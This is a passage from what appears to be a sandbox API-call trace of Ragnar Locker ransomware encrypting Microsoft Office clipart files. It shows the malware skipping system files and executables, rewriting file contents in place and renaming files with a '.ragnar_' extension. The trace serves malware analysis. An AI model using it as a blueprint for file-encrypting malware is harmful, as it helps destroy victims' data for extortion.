nNumberOfBytesToLockHigh=0x0) returned 1 [0083.169] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xabad, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xabad, lpOverlapped=0x0) returned 1 [0083.169] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xabad, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.169] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.170] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xabad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.170] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.170] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.170] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.170] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.170] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.170] GetProcessHeap () returned 0x580000 [0083.170] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.170] CloseHandle (hObject=0xf4) returned 1 [0083.170] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" [0083.170] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.ragnar_FD7BD9FC" [0083.170] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.171] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4ed3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099168.JPG", cAlternateFileName="")) returned 1 [0083.171] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.171] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099168.JPG" | out: lpString1="J0099168.JPG") returned="J0099168.JPG" [0083.171] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned=".JPG" [0083.171] lstrcmpiW (lpString1="J0099168.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.171] lstrcmpiW (lpString1="J0099168.JPG", lpString2="autorun.inf") returned 1 [0083.171] lstrcmpiW (lpString1="J0099168.JPG", lpString2="boot.ini") returned 1 [0083.171] lstrcmpiW (lpString1="J0099168.JPG", lpString2="bootfont.bin") returned 1 [0083.171] lstrcmpiW (lpString1="J0099168.JPG", lpString2="bootsect.bak") returned 1 [0083.171] lstrcmpiW (lpString1="J0099168.JPG", lpString2="bootmgr") returned 1 [0083.171] lstrcmpiW (lpString1="J0099168.JPG", lpString2="bootmgr.efi") returned 1 [0083.171] lstrcmpiW (lpString1="J0099168.JPG", lpString2="bootmgfw.efi") returned 1 [0083.171] lstrcmpiW (lpString1="J0099168.JPG", lpString2="desktop.ini") returned 1 [0083.171] lstrcmpiW (lpString1="J0099168.JPG", lpString2="iconcache.db") returned 1 [0083.171] lstrcmpiW (lpString1="J0099168.JPG", lpString2="ntldr") returned -1 [0083.171] lstrcmpiW (lpString1="J0099168.JPG", lpString2="ntuser.dat") returned -1 [0083.171] lstrcmpiW (lpString1="J0099168.JPG", lpString2="ntuser.dat.log") returned -1 [0083.171] lstrcmpiW (lpString1="J0099168.JPG", lpString2="ntuser.ini") returned -1 [0083.171] lstrcmpiW (lpString1="J0099168.JPG", lpString2="thumbs.db") returned -1 [0083.171] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0083.171] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0083.171] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0083.172] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0083.172] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0083.172] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0083.172] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0083.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg")) returned 0x20 [0083.172] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.172] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20179) returned 1 [0083.172] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4eca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.172] GetProcessHeap () returned 0x580000 [0083.172] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.172] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.173] VirtualAlloc (lpAddress=0x0, dwSize=0x4ed3, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.174] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.174] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.174] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4ed3, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4ed3, lpOverlapped=0x0) returned 1 [0083.174] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.175] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4ed3, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.175] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4ed3, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4ed3, lpOverlapped=0x0) returned 1 [0083.175] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4ed3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.175] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.175] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4ed3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.175] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.175] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.175] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.175] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.176] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.176] GetProcessHeap () returned 0x580000 [0083.176] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.176] CloseHandle (hObject=0xf4) returned 1 [0083.176] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" [0083.176] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.ragnar_FD7BD9FC" [0083.176] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.176] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x27d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099169.WMF", cAlternateFileName="")) returned 1 [0083.176] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.176] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099169.WMF" | out: lpString1="J0099169.WMF") returned="J0099169.WMF" [0083.176] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned=".WMF" [0083.176] lstrcmpiW (lpString1="J0099169.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.177] lstrcmpiW (lpString1="J0099169.WMF", lpString2="autorun.inf") returned 1 [0083.177] lstrcmpiW (lpString1="J0099169.WMF", lpString2="boot.ini") returned 1 [0083.177] lstrcmpiW (lpString1="J0099169.WMF", lpString2="bootfont.bin") returned 1 [0083.177] lstrcmpiW (lpString1="J0099169.WMF", lpString2="bootsect.bak") returned 1 [0083.177] lstrcmpiW (lpString1="J0099169.WMF", lpString2="bootmgr") returned 1 [0083.177] lstrcmpiW (lpString1="J0099169.WMF", lpString2="bootmgr.efi") returned 1 [0083.177] lstrcmpiW (lpString1="J0099169.WMF", lpString2="bootmgfw.efi") returned 1 [0083.177] lstrcmpiW (lpString1="J0099169.WMF", lpString2="desktop.ini") returned 1 [0083.177] lstrcmpiW (lpString1="J0099169.WMF", lpString2="iconcache.db") returned 1 [0083.177] lstrcmpiW (lpString1="J0099169.WMF", lpString2="ntldr") returned -1 [0083.177] lstrcmpiW (lpString1="J0099169.WMF", lpString2="ntuser.dat") returned -1 [0083.177] lstrcmpiW (lpString1="J0099169.WMF", lpString2="ntuser.dat.log") returned -1 [0083.177] lstrcmpiW (lpString1="J0099169.WMF", lpString2="ntuser.ini") returned -1 [0083.177] lstrcmpiW (lpString1="J0099169.WMF", lpString2="thumbs.db") returned -1 [0083.177] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.177] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.177] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.177] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.177] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.177] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.177] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf")) returned 0x20 [0083.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.177] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10192) returned 1 [0083.178] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x27c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.178] GetProcessHeap () returned 0x580000 [0083.178] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.178] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.179] VirtualAlloc (lpAddress=0x0, dwSize=0x27d0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.179] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.179] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.179] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x27d0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x27d0, lpOverlapped=0x0) returned 1 [0083.180] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.180] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x27d0, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.180] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x27d0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x27d0, lpOverlapped=0x0) returned 1 [0083.181] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x27d0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.181] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.181] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x27d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.181] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.181] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.181] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.181] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.181] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.181] GetProcessHeap () returned 0x580000 [0083.181] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.181] CloseHandle (hObject=0xf4) returned 1 [0083.181] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" [0083.181] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.ragnar_FD7BD9FC" [0083.181] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.182] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5ee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099170.WMF", cAlternateFileName="")) returned 1 [0083.182] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.182] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099170.WMF" | out: lpString1="J0099170.WMF") returned="J0099170.WMF" [0083.182] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF") returned=".WMF" [0083.182] lstrcmpiW (lpString1="J0099170.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.182] lstrcmpiW (lpString1="J0099170.WMF", lpString2="autorun.inf") returned 1 [0083.182] lstrcmpiW (lpString1="J0099170.WMF", lpString2="boot.ini") returned 1 [0083.182] lstrcmpiW (lpString1="J0099170.WMF", lpString2="bootfont.bin") returned 1 [0083.182] lstrcmpiW (lpString1="J0099170.WMF", lpString2="bootsect.bak") returned 1 [0083.182] lstrcmpiW (lpString1="J0099170.WMF", lpString2="bootmgr") returned 1 [0083.182] lstrcmpiW (lpString1="J0099170.WMF", lpString2="bootmgr.efi") returned 1 [0083.182] lstrcmpiW (lpString1="J0099170.WMF", lpString2="bootmgfw.efi") returned 1 [0083.182] lstrcmpiW (lpString1="J0099170.WMF", lpString2="desktop.ini") returned 1 [0083.182] lstrcmpiW (lpString1="J0099170.WMF", lpString2="iconcache.db") returned 1 [0083.182] lstrcmpiW (lpString1="J0099170.WMF", lpString2="ntldr") returned -1 [0083.182] lstrcmpiW (lpString1="J0099170.WMF", lpString2="ntuser.dat") returned -1 [0083.182] lstrcmpiW (lpString1="J0099170.WMF", lpString2="ntuser.dat.log") returned -1 [0083.182] lstrcmpiW (lpString1="J0099170.WMF", lpString2="ntuser.ini") returned -1 [0083.182] lstrcmpiW (lpString1="J0099170.WMF", lpString2="thumbs.db") returned -1 [0083.182] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.182] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.182] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.183] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.183] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.183] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.183] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.183] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf")) returned 0x20 [0083.183] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.183] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=24292) returned 1 [0083.183] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5edb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.183] GetProcessHeap () returned 0x580000 [0083.183] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.183] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.185] VirtualAlloc (lpAddress=0x0, dwSize=0x5ee4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.185] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.185] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.185] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5ee4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5ee4, lpOverlapped=0x0) returned 1 [0083.186] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.186] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5ee4, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.186] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5ee4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5ee4, lpOverlapped=0x0) returned 1 [0083.187] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5ee4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.187] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.187] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5ee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.187] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.187] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, 